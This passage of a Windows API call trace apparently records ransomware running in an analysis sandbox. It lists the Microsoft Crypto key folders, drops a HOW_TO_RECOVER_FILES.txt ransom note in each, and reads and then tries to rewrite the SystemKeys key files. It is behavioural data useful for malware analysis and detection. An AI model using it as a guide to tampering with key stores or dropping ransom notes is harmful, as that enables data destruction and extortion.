lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", lpFilePart=0x0) returned 0x2f [0107.833] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0107.837] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.837] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0107.837] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0107.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0107.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0107.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0107.837] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", lpFilePart=0x0) returned 0x2f [0107.837] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0107.837] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.838] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd330d8b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0107.838] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0107.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0107.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0107.838] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0107.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0107.838] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\dss\\machinekeys\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0107.848] GetFileType (hFile=0x768) returned 0x1 [0107.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0107.849] GetFileType (hFile=0x768) returned 0x1 [0107.849] WriteFile (in: hFile=0x768, lpBuffer=0x36f7898*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x36f7898*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0107.850] CloseHandle (hObject=0x768) returned 1 [0107.850] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3c [0107.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0107.851] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\dss\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0107.853] GetFileType (hFile=0x768) returned 0x1 [0107.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0107.853] GetFileType (hFile=0x768) returned 0x1 [0107.854] WriteFile (in: hFile=0x768, lpBuffer=0x36fc738*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x36fc738*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0107.855] CloseHandle (hObject=0x768) returned 1 [0107.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0107.855] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\Keys", lpFilePart=0x0) returned 0x24 [0107.855] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0107.858] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.858] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0107.858] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0107.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0107.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0107.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0107.859] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\Keys", lpFilePart=0x0) returned 0x24 [0107.859] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0107.859] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.859] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0107.859] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0107.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0107.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0107.859] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3d [0107.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0107.859] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\keys\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0107.860] GetFileType (hFile=0x768) returned 0x1 [0107.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0107.860] GetFileType (hFile=0x768) returned 0x1 [0107.861] WriteFile (in: hFile=0x768, lpBuffer=0x371d298*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x371d298*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0107.861] CloseHandle (hObject=0x768) returned 1 [0107.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0107.862] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys", lpFilePart=0x0) returned 0x2a [0107.862] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x7737cd02, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x7737cd02, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0107.862] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x7737cd02, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x7737cd02, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.862] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcc464582, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="709228~1")) returned 1 [0107.862] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x1b8875cb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1b8875cb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x1b8875cb, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="D20D9E~1")) returned 1 [0107.863] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0107.863] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0107.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0107.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0107.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0107.863] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys", lpFilePart=0x0) returned 0x2a [0107.863] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x7737cd02, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x7737cd02, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0107.863] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x7737cd02, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x7737cd02, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.863] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcc464582, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="709228~1")) returned 1 [0107.863] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x1b8875cb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1b8875cb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x1b8875cb, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="D20D9E~1")) returned 1 [0107.864] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x1b8875cb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1b8875cb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x1b8875cb, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="D20D9E~1")) returned 0 [0107.864] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0107.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0107.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0107.864] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", nBufferLength=0x105, lpBuffer=0x10faab0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", lpFilePart=0x0) returned 0x70 [0107.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10faf80) returned 1 [0107.864] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267"), fInfoLevelId=0x0, lpFileInformation=0x372cb40 | out: lpFileInformation=0x372cb40*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcc464582, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x61d)) returned 1 [0107.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10faf40) returned 1 [0107.864] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", nBufferLength=0x105, lpBuffer=0x10fa910, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", lpFilePart=0x0) returned 0x70 [0107.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fae30) returned 1 [0107.864] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0107.865] GetFileType (hFile=0x768) returned 0x1 [0107.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fada0) returned 1 [0107.865] GetFileType (hFile=0x768) returned 0x1 [0107.865] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x10fafd8 | out: lpFileSizeHigh=0x10fafd8*=0x0) returned 0x61d [0107.865] ReadFile (in: hFile=0x768, lpBuffer=0x372d598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10faf08, lpOverlapped=0x0 | out: lpBuffer=0x372d598*, lpNumberOfBytesRead=0x10faf08*=0x61d, lpOverlapped=0x0) returned 1 [0107.869] CloseHandle (hObject=0x768) returned 1 [0109.020] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", nBufferLength=0x105, lpBuffer=0x10fa910, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", lpFilePart=0x0) returned 0x70 [0109.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fae30) returned 1 [0109.020] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0109.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f7820) returned 1 [0109.023] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", nBufferLength=0x105, lpBuffer=0x10faab0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", lpFilePart=0x0) returned 0x70 [0109.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10faf80) returned 1 [0109.023] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71"), fInfoLevelId=0x0, lpFileInformation=0x32df740 | out: lpFileInformation=0x32df740*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x1b8875cb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1b8875cb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x1b8875cb, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x61d)) returned 1 [0109.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10faf40) returned 1 [0109.023] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", nBufferLength=0x105, lpBuffer=0x10fa910, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", lpFilePart=0x0) returned 0x70 [0109.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fae30) returned 1 [0109.023] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: 